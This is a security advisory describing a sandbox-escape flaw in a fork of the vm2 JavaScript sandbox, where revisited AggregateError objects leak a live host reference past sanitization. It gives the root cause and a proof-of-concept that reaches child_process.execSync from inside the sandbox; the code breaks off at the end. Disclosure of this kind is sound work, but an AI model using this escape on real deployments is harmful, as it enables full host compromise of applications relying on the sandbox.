CVE-2026-92934

## Summary vm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the "sanitized" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize. ## Root Cause `handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` — returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the "sanitized" `errors[]`. ## Impact Full host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel. ## Proof of Concept ```js const {VM} = require('vm2'); const vm = new VM({ sandbox: { hostThrow(){ const shared = new AggregateError([], 'shared'); shared.leak = process; // incidental host ref throw new AggregateError([shared, shared], 'all failed'); // same host obj twice }}}); console.log(vm.run(` try { hostThrow(); } catch (e) { e.errors[1].leak.mainModule.require('child_process').execSync('id').toString(); }`